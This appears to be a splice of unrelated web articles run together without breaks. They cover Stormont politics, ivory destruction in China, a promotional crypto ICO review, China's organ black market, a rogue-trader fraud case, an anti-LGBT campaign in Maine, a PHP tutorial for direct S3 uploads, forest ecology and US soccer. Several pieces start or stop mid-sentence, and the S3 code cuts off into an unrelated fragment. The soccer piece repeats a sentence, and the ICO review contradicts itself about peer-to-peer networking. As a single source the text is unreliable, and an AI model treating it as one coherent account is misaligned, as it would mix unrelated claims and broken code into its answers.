But I also think that both parties remain of the opinion that MLAs will, along with the Good Friday and St Andrews institutions, keep their titles, salaries, offices, staff and assorted perks and baubles.
It’s easy to understand why they think that: because Brokenshire allows them to think it. He pampers them. He treats them with kid gloves. He allows them to think the process is still too big to fail.
Which is why, of course, the parties continue, as a gentleman in Forestside told me last week, “to take the complete piss out of our very bendy Secretary of State.”
That gentleman has a point. The parties do not fear Brokenshire. They do no fear the consequences of failure. They do not fear direct rule. They fully expect to continue to be paid while other people do their jobs and make their decisions.
I’ve got beyond caring who bears most responsibility for the ongoing farce; all I know is that they both milk it to their own advantage. So, let me offer some advice to James Brokenshire. A solid, workable agreement between the DUP and Sinn Fein is not possible while they remain of the opinion that there are no consequences for further stalemate; and while they continue to believe that the public purse will carry on subsidising them in the absence of a functioning assembly and executive.
He also needs to make it very clear to them that direct rule does not mean allowing them to remain in some form of suspended — and funded — animation while others do the job. Direct rule must mean the closing of the institutions.
More than that, direct rule should mean going back to the drawing board altogether. If, after 20 years — and almost 25 if you go back to the Downing Street Declaration which triggered the process which brought us to where we are now — they are incapable of co-governance and resolution, then I really don’t see the point of yet another sticking plaster to keep increasingly hostile rivals limping along.
Brokenshire has to call their bluff if he hopes to be taken seriously. Otherwise he should just change his title to Chief Piñata, have himself hoisted at the entrance to Stormont Castle and hand out sticks with which the visiting delegations can beat him.
It would hardly be more humiliating than the obvious contempt with which they treat him at the moment.
Come on, James, have a go at government, yourself; you couldn’t be much worse than what we’ve got used to here.CHINA has destroyed about six tonnes of illegal ivory in its stockpile.
It's an unprecedented move wildlife groups say shows growing concern about the black market trade by authorities in the world's biggest market for elephant tusks.
Authorities on Monday displayed a pile of ornaments, carvings and tusks to reporters before feeding them into two crushing machines.
Forestry and customs officials organised what they said was the country's first large-scale ivory destruction in Dongguan in southern Guangdong province. That's where much of China's ivory trade is focused.
Conservation groups say China is the world's biggest market for ivory.
Demand is fuelled by rapid growth in the world's second biggest economy, which has created a vast middle class with the spending power to buy ivory carvings prized as status symbols.
Originally published as China destroys six tonnes of ivoryZenDao is a platform developed on the Metaverse blockchain designed to create digital representations of real-world collectibles. Find out more in our ZenDao review.
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ZenDao offers all of the following features:
Proof:
ZenDao uses a tamper-proof, time-stamped, publicly traceable information ledger (built on the Metaverse blockchain) create an unalterable digital proof system.
Improved Market Liquidity:
ZenDao doesn’t have trading fees or commission fees. That means better liquidity for collectibles traders. It also means that the value of collectibles is maximized.
Divisibility:
Collectibles owners can issue tokens representing their ownership rights on the ZenDao platform. They do this through the authentication of collectibles on the blockchain.
That means the full ownership – or even a small fraction of ownership – can be sold to the market while the asset itself stays with the custodian. This allows a broader number of investors to participate, reducing the transaction costs.
Capital Appreciation:
ZenDao improves the liquidity of the market and has built a proof tracking system, which should lead to the maximum possible asset value. That means users enjoy capital appreciation as the number of investors increases.
Decentralization:
ZenDao, like other blockchain technologies, is decentralized. There are no centralized systems to attack. There’s no single point of failure, and there’s minimal risk of loss for users.
Peer To Peer Networking:
Unlike centralized trading systems, ZenDao has no peer-to-peer networking. Privacy is secured between parties. You don’t have to worry about a central company abusing or losing your information.
Intelligent Trading:
ZenDao allows each collectible to easily be converted into digital tokens on the blockchain. All entries are secured in real-time and are non-reversible on the blockchain.
CDP Authentication:
ZenDao uses CDP authentication to identify real objects using a digital signature.
Smart Script Secured Trade (SSST):
ZenDao enables the reversibility of a trade based on a pre-programmed smart contract.
Initial Collectible Token Offerings (ICTOs):
ZenDao’s decentralized auction mechanisms allow token issuers to offer tokens representing the collectibles to different buyers. The price will be created by market demand.
ZenDao ICO
ZenDao’s ICO is scheduled to begin on June 23, 2017. The ICO will be available for two weeks.
ZenDao’s ICO will raise funds for their platform. That ICO will see the release of ZenDao Coins (ZDC). ZDC tokens will be the fundamental unit of account on the ZenDao platform. All assets digitized on the ZenDao platform will be available to purchase with ZDC. ZDC will also be freely traded on exchanges.
You can participate in the ICO with BC, ETH, and ETP. More details about the ICO are available in the ZenDao whitepaper.
About ZenDao
ZenDao can be found online at ZenDao.org. The website is available in Chinese or English. ZenDao is headquartered in Shanghai. You can contact the company by email at [email protected]
Aside from this basic information, we know very little about the company or its developers and executive team. The whitepaper makes no mention of the team or company founders.
ZenDao Conclusion
Startup companies are introducing the benefits of blockchain technology all over the world. ZenDao wants to specifically introduce those benefits to the world of collectibles – including sculptures, paintings, and other fine works of art. The company’s blockchain, built on the Metaverse blockchain, allows for the seamless transfer of ownership of collectibles.
There are no transaction fees, and ownership can be split among people through unique concepts like Initial Collectible Token Offerings (ICTOs), where you release ownership of a collectible to a group of investors, based on a price set by the market.
ZenDao’s ICO is taking place at the end of June 2017. Stay tuned for more information about this unique Shanghai-based blockchain technology company as their platform continues to roll out!Shocking footage captured the moment a woman attempted to solve a Rubik's Cube - while driving along a busy motorway.
A video shows the motorist driving along the M61 near Manchester at rush hour, completely engrossed in the puzzle.
Shocked onlooker Macauley Stephens spotted the woman and said she carried on for several miles, using both hands to complete the Rubik's Cube - and was oblivious she was being filmed.
The video footage shows the woman completely engrossed in the puzzle as she drives along the motorway
But incredibly, after being spotted fiddling with the 3D puzzle – invented by Hungarian sculptor and professor of architecture Erno Rubik – the driver continued to play with it.
Mr Stephens filmed the incident as he travelled from Manchester to Bolton.
The 21-year-old said: 'When I spotted the woman I honestly couldn't believe what I was seeing, I was shocked more than anything.
'How she could concentrate while driving on a busy motorway at peak time beggars belief.'
The shocking clip was captured by another motorist travelling along the M61 near Manchester
The woman used both hands to solve the puzzle - despite driving along the busy motorway at rush hour
Mr Stephens added: 'She saw me looking at her - as you can see in the clip - and she wasn't even affected at all. She just carried on for several more miles doing the puzzle.'
After capturing the footage on his mobile phone Mr Stephens tweeted it to police, but said he hasn't heard anything from the force.
Mail Online has contacted Greater Manchester Police for comment.How many women did Herman Cain "offer a job to" again?
How many women did Herman Cain "offer a job to" again?
Fox News Channel has hired former Republican presidential candidate and Godfather’s Pizza CEO Herman Cain as a contributor. Cain will provide political and business analysis and commentary across FNC’s daytime and primetime programming, as well as on Fox Business Network.
Bwahahahahahahahahahahahaha—pause for breath—hahahahahahahahah:Business analysis? Like, how to get your company on the hook for an $80,000 settlement with the various women you've sexually harassed? Or maybe he'll just scream "NINE, NINE, NINE!" over and over again. That's the kind of sharp business-y analysis Fox "News" viewers have come to expect, right? And Fox delivers only the crème de la crème (or as Fox would call it, freedom cream). That's why Fox has also recently hired Erick Erickson, as well as the ex-Sen. Scott "Centerfold Pimp Daddy" Brown. But even Fox has some standards, because remember, after paying an average of $15.85 per word for the 189,221 words she spewed on air as a paid contributor, Fox decided to not renew its contract with the idiot half-term governor.
ViaThere’s a very peculiar feeling one has in the moments leading up to a live music event: a mix of excitement, nerves, preparative thoughts, and responsible reasoning. You call your friends, line up the plans, pick out the right shoes, checking all the boxes from your list. It’s a sense of liveliness incomparable to most other moments we experience on the day-to-day grind, a feeling worth chasing after for good. Because we, fellow music lovers, know all too well that what we’re going in for will be exponentially greater than our expectations, and the resulting feelings of the other side.
Ultimately, it’s the combination of live music and community that makes these experiences so worthy of our happiness — according to a new study. Researchers in Australia found that people who habitually attend musical engagements are reported to have higher levels of subjective well-being. Deakin University scholars Melissa Weinberg and Dawn Joseph reported that Australians who participate in communal musical experiences — whether it’s at a live concert or a communal dance gathering — have elevated levels of overall satisfaction in life. Ultimately, the common thread is to engage with music in the company of others.
The study sampled 1,000 Australians, with an average age of 56, over the telephone in 2014. The subjects were asked to answer questions regarding their levels of satisfaction with health, achievements in life, relationships, et cetera, as well as their modes and levels of engagement with music; they answered with a numerical 0-10 or a yes/no response.
The researchers report that “total well-being scores were significantly higher for people who reported that they danced or attended musical events,” compared to people who did not. The people who attended music events also reported higher levels of satisfaction with their standards of living. Similar conclusions were reported for those who danced with other people, scoring significantly higher in overall satisfaction levels than those who did not. Ultimately, people who habitually attend music events and/or dance with other people scored increased levels of well-being and satisfaction in life.
The correlation between live music engagements and dancing is clear; their relationship intrinsically binds together the freedom of art, expression, and self-satisfaction; and thus, increased happiness. Beyond the scientific reasons, that live music universally lowers stress levels, increases social bonds while decreasing levels of pain, and can even physiologically cause people to get “skin-gasms”, live music events naturally bring people together who are happy. This is most likely why the ritualistic practice has lasted so long. Happiness is contagious, and live music events are the center point for all these reasons.Guo Bin, a six-year-old boy from Shanxi province, in northern China, thought the sky had gone permanently dark when he woke up, one day this summer, bloody-faced and crying near his parents’ home. “We originally thought he had fallen down and smashed his face,” Guo’s father, a farmer, told a local television station. “We didn’t notice that his eyes were gone when we first discovered him.” But then he saw that there were only pits where his son’s eyeballs should have been. The boy told his mother that the last words spoken to him by the still-unidentified woman who kidnapped and drugged him were “Don’t cry, and I won’t gouge your eyes out.”
Immediately after news of the savage assault broke, an apprehensive public leapt to the conclusion that the perpetrators were driven by an obvious motive: they robbed a child of his sight to turn a quick profit in China’s thriving black market for organs. The story quickly became national news and sparked an uproar on Weibo, the Chinese version of Twitter, where, months later, citizens have not stopped clamoring for redress. Everywhere in the world, the number of patients in need of kidneys, hearts, livers, or corneas outstrips the number of donors, but in China the situation is particularly acute. Even though China performs more transplants annually than any country except the United States, less than one per cent of the population in need of life-saving transplants receives them (as compared to about twenty per cent in the United States). According to China’s Ministry of Health, some 1.5 million people continue to wait for transplants.
Traditional Chinese customs calling for bodies to be buried or cremated intact (so that a person may be reincarnated whole) discourage individuals from donating their organs. For the past three decades, the government has tried to make up the difference by harvesting organs from executed prisoners. Until 2007, nine-tenths of the country’s organ supply came from its tens of thousands of death-row inmates, whose executions have sometimes been expedited for the purpose of harvesting organs. For many years, Chinese authorities refused to acknowledge this practice, though a 2006 investigation conducted by two Canadians—David Kilgour, a member of parliament, and David Matas, a human-rights lawyer—concluded that the selling of prisoners’ organs without their consent was a “billion-dollar business in China.” According to the report, vital organs were regularly harvested from executed prisoners and distributed by shadowy intermediaries.
The report, along with criticism from human-rights activists, foreign-transplant specialists, and Chinese doctors (one of whom testified before a U.S. Congressional committee that he had taken skin from a prisoner who was still alive), compromised the image that China likes to project of itself, as a superpower thoroughly in line with established global norms. Bowing to international pressure over the past five years, the Chinese have recently introduced measures to reduce the number of executions and to curb organ tourism, a practice that brings foreigners facing long waits for voluntary donations in their own countries to China, where they can pay to immediately obtain the needed organ. Although no official records are kept for such transactions, the tourists and donors have remarkably consistent profiles: the tourist, usually the citizen of a developed country, pays a substantial sum; the donor is a financially desperate Chinese citizen, or, in some cases, a permanently incarcerated one.
The existence of a flourishing underground organ trade in a country ruled by authoritarian decree rather than written law should not exactly come as a shock. Because the rules and decisions are made by the powerful and for the powerful, the average citizen has little incentive to respect the law. When it comes to health care, where the government has done little to provide a safety net for its citizens, they have all the more reason to take matters into their own hands.
In August, only a few days before Guo Bin’s eyes were stolen, the Chinese Ministry of Health announced plans to phase out the practice of harvesting of organs from executed prisoners and begin a country-wide program of voluntary donation. Huang Jiefu, an Australia-trained transplant surgeon who was then the deputy health minister, said, “I am confident that before long all accredited hospitals will forfeit the use of prisoner organs.” A hundred and sixty-five hospitals are set to implement voluntary organ systems in the coming months. (In November, Huang, who now heads the country’s organ-transplant office, vowed that all transplant hospitals would cease using prisoners’ organs by the middle of this year.) But the program was outlined only in the broadest of strokes, and the path to implementation is unclear. Evidently, a major impetus for Beijing’s decision was international pressure for transparency and greater respect for human rights. But it remains to be seen whether such a system has any chance of combatting the entrenched corruption in managing organ transplantation, or whether it could be regulated so as to prevent the proliferation of a black market.
In a 2012 poll conducted by the Canton Public Opinion Research Center, seventy-nine per cent of respondents said they believed that “organ donation after death is noble,” but eighty-one per cent feared that “organ donation inevitably leads to the organ trade.” Almost three-quarters of the respondents said that the government should promote voluntary organ donation.
Nicholas Bequelin, a senior researcher with Human Rights Watch in Hong Kong, told me that “the complete lack of transparency led to the emergence of a lucrative gray market, through which wealthy or politically connected individuals could source the organ needed for a transplant from scheduled executions.” According to Bequelin, the booming organ business has, in turn, led to a situation “in which unscrupulous criminals have started sourcing organs themselves, either by buying organs from sellers or even, in some cases, kidnapping and harvesting organs from their victims.”
In this light, the health ministry’s plan to shift from prisoners’ organs to voluntary donations may reflect a political aspiration rather than an achievable goal. “They say they hope to stop executing prisoners in two years, but that is just a hope,” said Arthur Caplan, a professor of bioethics at N.Y.U. who has closely followed the organ trade in China. “I worry that they are not seriously committed to instituting cadaver donation,” which would diminish the need to harvest organs from prisoners.
Caplan is hardly the only skeptic. Even though Huang has stipulated that doctors and hospitals caught using organs from outside the network of a hundred and sixty-five licensed hopitals will lose their certification, it’s unclear how these laws will be enforced or whether the agencies in charge have any incentive to do so. Moreover, unlike in the United States, where individuals can freely log onto a computerized national database to look for information regarding specific donations and transplants, China’s equivalent database is not open to the public, which is likely to arouse suspicion about the prospect of administrative tampering. Information about matching methodology, donors, and recipients is not disclosed, either. Earlier this week, China’s state-run media reported that the system still “falls short of expectations.”
“The Ministry of Health is not the most powerful actor in this system,” Bequelin said. Unlike many developed countries, the Chinese central government provides little funding to hospitals, which restricts its ability to censure them for misconduct. Like almost every other institution in China, the medical system is heavily dependent upon guanxi, or relationships based on backdoor politics and bribery. High-ranking officials are regularly given special treatment, while common people are often barred from better-equipped medical facilities. In recent years, those with guanxi and a need for organs have also been known to treat prisons like personal slaughterhouses, searching for inmates who match their blood and tissue type.
In 2011, when the liberal Chinese newspaper Southern Weekend featured the story of a twenty-five-year-old migrant worker who had been forced to sell his kidney at a registered hospital by staff members working with traffickers, the public was outraged, but not necessarily surprised. A year later, in August of 2012, four traffickers, an anesthesiologist, a surgeon, a medical assistant, and two nurses were tried for helping a seventeen-year-old in Hunan sell his kidney in order to purchase an iPad and an iPhone. The teen-ager, who continues to suffer from renal failure caused by the surgery, received thirty-five hundred dollars for his kidney; the intermediaries turned around and sold it for nearly six times that amount.
Locating both a buyer and a seller for an organ can be as simple as visiting a high-volume Chinese-language chatroom. In mid-August, around the same time the Ministry of Health made its announcement, a casual browser of Baidu Knows, the Chinese version of WikiAnswers, found the following exchange:
A: Kidney, where to sell one? Thank you. B: What’s your asking price? A: A hundred and fifty thousand yuan? Where should I go? B: I’ll be taking a ten-thousand-dollar commission. If you can guarantee me a long-term supply, I may be able to lower my fee. A: What’s a long-term supply? B: Don’t you think we have some rules in this industry? If you are the police… A: I don’t have any supply. I am selling my own kidney and am badly in need of cash. I am nineteen years old.
For ordinary citizens, these stories only reinforce the pervasive suspicion that China’s legal and medical systems are inherently prejudiced—and that the vast divide between the powerful and the weak cannot be bridged by the action of the government, that chronic bungler. According to Bequelin, when it comes to organ-donation preference, “it is quite inconceivable that Party and government members would not be favored over ordinary citizens, because that’s the reality of life in China. Why should I pledge to give my organs if it is to end up in the body of an corrupt official?”
More than five months after Guo Bin was attacked, the culprit has not been identified. Some have alleged that the crime was committed by his mentally unstable aunt, who mysteriously leapt to her death down a village well one day later. (Family members, however, insist that she was at work elsewhere when the attack took place.) Other reports have suggested a family dispute, which Guo’s father flatly denies. Oddly, the detail that has resonated most widely has no apparent connection to the facts of the case: the boy’s eyeballs were found nearby, their precious corneas still attached. The story’s ongoing prominence in the media is, in fact, a testimony to the widespread infamy of the trade and the concurrent fear of organ traffickers. Unfortunately, the Ministry of Health’s well-intentioned plans for a voluntary organ-donation system will, more likely than not, function much like the prosthetic eyes that a hospital in southern China has kindly donated to Guo Bin. Although they may move and look like normal eyes, they only satisfy appearances.
Jiayang Fan is on the editorial staff of the New Yorker.
Photograph by Zhang Wei/Stringer/AP.THE victims of a ruthless gang of rogue traders responsible for one of the country's worst cases of "repeat victimisation" will be paid compensation, a court ruled.
More than £200,000 will be clawed back from the crooked family who are being forced to sell two homes as well as their cars under Proceeds of Crime Act legislation.
Gang leader Monty Croke and his two sons, Billy and Monty Junior appeared at Teesside Crown Court again - ten months after they were jailed - to have their assets assessed.
Between them, they were said to have benefited by almost £700,000 from their illegal activities across the north of England over a period of more than eight years.
Dad-of-three Croke Snr, 47, was assessed to have made £574,234, while son Monty, 27, netted £56,205 and his younger brother Billy, 24, gained £59,649 from a string of frauds.
The three admitted conspiracy to defraud and money laundering charges and were jailed for five years, two-and-a-half years and 12 months respectively in February.
A fourth man, 36-year-old family friend, James Coverdale, got a suspended prison sentence for his involvement, and has been assessed to have made £10,700.
The figures - and the available assets the men have - were agreed between prosecutor Richard Bennett and defence barristers after lengthy out-of-court discussions.
Croke Snr, who has listed addresses of Field Drive, Pickering, and The Laurels, Lendales Lane, Pickering, North Yorkshire, is deemed to haves total of £111,673 retrievable.
Monty Jnr and his brother, both of Thistle Hill Traveller’s Site, Knareborough, North Yorkshire, are said to have £5,802 and £3,860 which can be clawed back.
Mrs Justice Simler told them that they will be allowed six months to pay the money, and if they fail they will have time added to their prison sentences.
The victims - mostly elderly, infirm or disabled, and targeted by the travelling gang - will be paid back on a pro-rata basis, Mr Bennett told the court.
One retired businessman had an astonishing £250,000 taken from him by Croke Snr, who returned to his home time and again over eight years, pretending to be his friend.
The man, from North Yorkshire, said after the case: "I was completely taken in. He befriended me and he then betrayed my friendship. It was all one big lie."
Jailing him in February, Judge Tony Briggs described Croke Snr as devious and ruthless in his pursuit of money, and said he preyed upon the businessman's loneliness and need for friendship, and treated him as a cash cow.
Coverdale, of Ings Garth, Pickering, was given a 15-month sentence, which was suspended for two years, with drug treatment and 12 months' supervision.
At earlier hearings, they pleaded guilty to conspiring to defraud householders in relation to shoddy, over-priced and unnecessary property repairs.AUGUSTA (WGME) -- Mike Heath and other former heads of the Christian Civic League of Maine have formed a new group, "Equal Rights, not Special Rights."
They say they're tired of being forced to accept the homosexual lifestyle.
Paul Madore and this small group of people say they want to restore America to its former greatness by repealing same sex marriage laws and making homosexuality a crime.
"There is conduct that ought to be punished," Heath said. "And Christianity teaches, has always taught and still does teach, that sodomy is such a behavior."
In fact, they're against any public displays of affection by members of the LGBT community.
"These are two military men, at least one, and there's an open expression of homosexuality and sexual expression that is totally out of line for a country as great as the United States of America," Madore said.
But the first battleground for the group "Equal Rights, not Special Rights" is to push for a citizen's initiative to remove the phrase "sexual orientation" from the Maine Human Rights Act, even though Maine voters passed the measure 11 years ago.
"If it's removed, what does it do?" Heath said. "It very simply moves something, a behavior that belongs in the closet back into the closet."
Matt Moonen of Equality Maine called the referendum this group is pushing a waste of time.
"They think they can force people to accept their world view," Moonen said. "That's just not what America is, not what the State of Maine is. And it's not going to work."
This group hopes to collect all the signatures they need at this November's Presidential election. If they do, Mainers will have to face this issue all over again sometime in the next year or the year after that.Note: This post was updated on 2016-07-16 to reflect a better way to achieve file uploads to an S3 bucket.
Handling file uploads sucks. Code-wise it’s a fairly simple task, the files get sent along with a POST request and are available server-side in the $_FILES super global. Your framework of choice may even have a convenient way of dealing with these files, probably based on Symfony’s UploadedFile class. Unfortunately it’s not that simple. You’ll also have to change some PHP configuration values like post_max_size and upload_max_filesize, which complicates your infrastructure provisioning and deployments. Handling large file uploads also causes high disk I/O and bandwidth use, forcing your web servers to work harder and potentially costing you more money.
Most of us know of Amazon S3, a cloud based storage service designed to store an unlimited amount of data in a redundant and highly available way. For most situations using S3 is a no brainer, but the majority of developers transfer their user’s uploads to S3 after they have received them on the server side. This doesn’t have to be the case, your user’s web browser can send the file directly to an S3 bucket. You don’t even have to open the bucket up to the public. Signed upload requests with an expiry will allow temporary access to upload a single object.
Doing this has two distinct advantages: you don’t need to complicate your server configuration to handle file uploads, and your users will likely get a better user experience by uploading straight to S3 instead of “proxying” through your web server.
This is what we’ll be creating. Note that each file selected gets saved straight to an S3 object.
<todo: insert video>
Generating the upload request
Implementing this with the help of the aws-sdk-php package (version 3.18.14 at the time of this post) is pretty easy:
// These options specify which bucket to upload to, and what the object key should start with. In this case, the // key can be anything, and will assume the name of the file being uploaded. $options = [ ['bucket' => 'bucket-name'], ['starts-with', '$key', ''] ]; $postObject = new PostObjectV4( $this->client, // The Aws\S3\S3Client instance. 'bucket-name', // The bucket to upload to. [], // Any additional form inputs, they don't apply here. $options, '+1 minute' // How long the client has to start uploading the file. ); $formAttributes = $postObject->getFormAttributes(); $formData = $postObject->getFormInputs(); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // These options specify which bucket to upload to, and what the object key should start with. In this case, the // key can be anything, and will assume the name of the file being uploaded. $options = [ [ 'bucket' = > 'bucket-name' ], ['starts-with', '$key', '' ] ] ; $postObject = new PostObjectV4 ( $this -> client, // The Aws\S3\S3Client instance. 'bucket-name', // The bucket to upload to. [ ] |
by creating a jingle for Red Mill on the spot -- with his accordion. He also was known to use the secondhand instrument to cover Britney Spears singles at parties.
The loss, Shephart said, has hit the Red Mill crews hard.
"We're a huge family," Shephart said. "We don't know what to do. We're all in shock.... He was a good kid."
The two police officers who fired their guns have been placed on paid administrative leave while the shooting is investigated, which is routine when police fire their guns and use deadly force.Anfield faithful give standing ovation after announcement to request top honour for Scotsman from the Queen as Merseyside remembers the 96 that lost their lives 22 years ago
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Families of the victims that tradgically lost their lives at Hillsborough 22 years ago this week have made a request that current Liverpool manager Kenny Dalglish be knighted.The Scotsman was in charge of the team on the fateful day in April 1989 when the Merseyside outfit played Nottingham Forest in the FA Cup, but the day ended with 96 football fans losing their lives and the inquest still rages on for justice for those individuals.Following the tragedy, Dalglish and his wife made the point of attending as many of the 96 funeral services as possible.Reflecting the weeks which followed the Hillsborough disaster in his autobiography, Dalglish said: "I don't know how many funerals I went to. Marina [his wife] and I attended four in one day."And Friday marked the 22nd anniversary of the disaster, as Anfield played homage to the lost, as people came to pay their respects.Steve Rotheram MP, a former Lord Mayor of Liverpool, announced that the families had asked him to put down an Early Morning Motion requesting that the Queen grant Dalglish a knighthood.Mr Rotherham told the fans it was "so that on all our behalf the King of the Kop can become Sir Kenny".The news was met with cheers around Anfield, along with a standing ovation and cheers of "Kenny" fom the Liverpool faithful.More than 12,000 people attended the memorial, with recognisable faces such as the Liverpool team and former manager Rafael Benitez who was also given a mass of cheers from a packed-out Kop.Climate change is likely killing more trees in the boreal forest than predicted, a new Canadian study suggests.
Models that predict the impact of climate change typically assume that older forests are representative of all forests. But older forests are less vulnerable to the effects of climate change than younger forests that make up the vast majority of Canada's boreal forest ecosystems, suggests a study of Alberta and Saskatchewan forests by Yong Luo and Han Chen, forest ecologists at Lakehead University in Thunder Bay, Ont.
The research published Wednesday in the journal Nature Communications also found that some tree species were far more vulnerable than others. Specifically:
Species that need more water, such as balsam and poplar, tend to be hit harder than drought-tolerant species such as jack pine.
Species that colonize forests later after a fire, such as black spruce and white spruce, are more sensitive than the "pioneers" that grow back first, such as aspen and jack pine.
That surprised Chen, who assumed, as most models do, that climate change would hit all species roughly equally.
Effects on other animals, plants
The fact that it doesn't could have implications about how climate change will affect forest ecosystems, as a decrease in the relative abundance of those species — or their disappearance altogether — will impact other plants and animals that rely on them for food, shelter, or other needs, Chen said.
"I think that's going to be a huge challenge for society as a whole," he added.
The differences in vulnerability of forests by age and species seems tied to their ability to withstand drier conditions that are linked to warmer temperatures.
"It really surprised us that younger forests were more sensitive to drought," Chen said. "We don't really understand what the real mechanism is."
4 out of 5 forests are young
The age-related sensitivity has significant implications because roughly 80 per cent of forests in Canada have an average tree age of less than 80 years, while just 20 per cent are "older" forests with an average tree age over 80 years. That's because forest fires typically occur in a given forest an average of once every 50 years, Chen said.
Chen and Luo analyzed tree mortality patterns in 887 sample plots in boreal forests in Alberta and Saskatchewan between 1958 and 2007 and related them to local climate change over that period to test the assumptions made in models predicting the effects of climate change on forests. Those models typically use data from older forests to represent all forests because researchers assume that they are more stable and the mortality of older trees depends less on other factors in the environment compared to younger forests, making it easier to tease out the effects of climate change, Chen said. The models also usually assume that similar effects are seen in all species.
The results of the new analysis suggest that current predictions underestimate tree mortality due to climate change, especially in forests with younger trees and those with more drought-sensitive species. They also imply that climate change will cause changes to the proportions of different species within a forest.
Chen thinks that the results can be generalized to all boreal forests, but he noted that local impacts will depend on the extent that climate change causes drier conditions in a given area, which is not known.
Nevertheless, he suggested more effort may be needed to maintain or conserve more climate-vulnerable species and to reduce climate-induced drought overall.
He added, "We really have to control CO2 emissions to reduce the greenhouse effect."Come at me bro
The animal kingdom can be a ruthless place – so crows have started packing heat for protection.
He’s even been tagged by the old bill and is probably under house arrest.
It’s unclear whether or not he’s rolling with the same boydem as this magpie:
But what is clear is that this dramatic jump in animal hierarchy is most definitely linked to global warming.
MORE: This smoking magpie may have already broken its New Year’s resolution
MORE: Squirrels are seriously packing on the pounds these days
The unseasonably warm weather has provided a bumper winter for food. Their brain power has increased and naturally their pecking order in the food chain has been promoted.
All hail gangster crows.
MORE: Ill-mannered squirrel gets what’s coming to him from a sassy parrotThe Dead Milkmen are back with their first new song in two years, a propulsive rocker about a haunted Swedish train that serves as the first taste of the skewed punk outfit’s Welcome to the End of the World EP — and which we’re thrilled to premiere today at Slicing Up Eyeballs.
The song, which you can stream below, is called “Only the Dead Get Off at Kymlinge,” and, according to the Milkmen’s label, it’s based on a Swedish urban legend about the Kymlinge “ghost station” – an unfinished stop on the Stockholm Metro line – that’s said to be haunted by the Silverpilen “Silver Arrow” train.
As we reported back in March, the Dead Milkmen will release the new EP this fall on vinyl and digital formats with 50 percent of all after-tax profits being donated to Girls Rock Philly via the new philanthropic label The Giving Groove. The band is taking pre-orders for the EP on yellow vinyl (first edition limited to 500 copies) and 180-gram black vinyl (first edition also limited to 500 copies)
The donation to Girls Rock Philly is part of the label’s model; 50 percent of after-tax profits go to the artist, and the other 50 percent go to a music-related nonprofit group of the artist’s choosing.
Since reuniting around 2008, the Milkmen have released two studio albums — 2011’s The King in Yellow and 2014’s Pretty Music for Pretty People — and a string of 7-inches, most recently a split single with Philadelphia’s Flag of Democracy, which came out in 2015.
Stream the new track below – and see if you can resist shouting along to “Got bees in my brain!”
PREVIOUSLY ON SLICING UP EYEBALLSThe first two games of the CONCACAF Hexagonal - the final round of 2018 World Cup Qualifying games for our region - have come and gone for the US Men's National Team. They did not go well for the USA. Jurgen Klinsmann's side lost to both Mexico and Costa Rica: the first time the USMNT has lost two qualifiers in a row since the team got back into the habit of actually qualifying for World Cups.
For fans of a team that has played at the last seven World Cups, the poor start to qualifying for the 2018 competition is an unwelcome throwback to the barren 40-year interlude between USMNT's appearance at the 1950 tournament and its re-appearance on soccer's biggest stage in 1990.
Worse than the reminder of past failure, however, was the vivid sight of the USA playing badly. Over two games in November, we saw a lot of lifeless play from USMNT and tons of ball watching as both El Tri and Los Ticos found ways to break down the defense and punish the boys all over the field in both Columbus, Ohio and San Jose, Costa Rica.
If that was bad for fans, it must have been worse for a member of the New York Red Bulls who had earned a recall to the USMNT for its opening games of the Hex.
Thanks to his form in MLS, he had been handed opportunities in semi-final round of World Cup qualifying games down against St. Vincent and the Grenadines and Trinidad and Tobago.
So why did Jurgen Klinsmann mostly ignore the abilities of Kljestan for the USMNT's November internationals?
After two games in the Hex, the USA has zero points and a -5 goal difference. The team is dead last in the standings, facing an urgent need for points when qualifying starts up again in March. And Sacha Kljestan's contribution to the fiasco was a 19-minute cameo at the end of the second match, by which point USMNT had been outscored 4-1 in the preceding 161 minutes of competitive international soccer.
Yes, Kljestan came into the November camp having suffered a broken nose during RBNY's exit from the MLS playoffs - so it was understandable that he wasn't in Klinsi's starting lineup in Columbus for the match against Mexico. And yes, when former MetroStars goalkeeper Tim Howard was forced out of the game in the first half, Klinsmann had to burn a sub on back-up 'keeper Brad Guzan, and adjust his substitution ideas accordingly. Also, yes - it made sense to bring DeAndre Yedlin in for Timmy Chandler in the 74th minute of the match: a like-for-like swap that brought a little extra speed out wide and so offered USMNT fresh impetus on both sides of the ball without disrupting a revised game plan that had got the USA back into the game.
All of that made sense. But then Klinsi choked. With the game tied, 1-1, it was for USMNT to force the tempo and push for the win. Instead, he spent his last sub on Michael Orozco in another like-for-like swap that saw Matt Besler leave the field. The chance to throw an extra attacker on to the field was lost. And it was Mexico who found the match-winning goal at the death
Having squandered the opportunity to at least force El Tri to weather an attacking storm for the last 10 minutes of USMNT's opening game, Klinsi's approach in Costa Rica was baffling for different reasons. First, he waited until the game was all but lost before he sought to make a change. Next, the changes he made ensured the Kljestan-Pulisic connection that had appeared so promising in prior matches never got a chance to be tested against top-quality opposition.
Los Ticos were two goals up before Klinsmann made his first change - and that change was to swap out Pulisic for Lynden Gooch in the 70th minute. Sacha Kljestan entered the game were two goals up before Klinsmann made his first change - and that change was to swap out Pulisic for Lynden Gooch in the 70th minute. Sacha Kljestan entered the game just a minute later, coming in for Jermaine Jones. And Graham Zusi arrived in place of Fabian Johnson in the 77th minute.
Unfortunately, while those three players were settling in, Joel Campbell was putting the match out of USMNT's reach. Between the 70th and 78th minutes, the USA made three subs and Campbell scored two goals for Costa Rica.
Kljestan was barely noticed for much of his time on the field because much of his time on the field was spent watching Costa Rican players celebrate scoring goals.
real talk: i only know this because I googled it after seeing him on the pitch... in the 83rd minute. #RBNY https://t.co/CFnUopRW77 — Andrew Vazzano ⚽️ (@AVRBNY) November 16, 2016
What was the point of having Kljestan in the squad at all? His greatest asset to USMNT had seemed to be in his ability to link with Pulisic: never happened. His more general talent is to control space and tempo with his passing, but after seven minutes on the field in Costa Rica, his team was 4-0 down - Sacha's skills, along with every other USMNT player on the field, were irrelevant for the final 10 minutes of the match in San Jose.
With scores level in Columbus and the desire to challenge El Tri's back line, there was a clear role for Sacha toward the end of USMNT's first game in November - at least, the role was clear to everyone but Jurgen Klinsmann. And when the team dropped into a two-goal hole in San Jose, maybe it was the right idea to bring Kljestan in to the game - to see if he could spark Christian Pulisic. But Pulisic left the match at the same time Sacha was getting into it.
Klinsi discovered the Kljestan-Pulisic connection, and then ignored it when it might have been most useful to his team's cause. Ignored it twice, in fact.
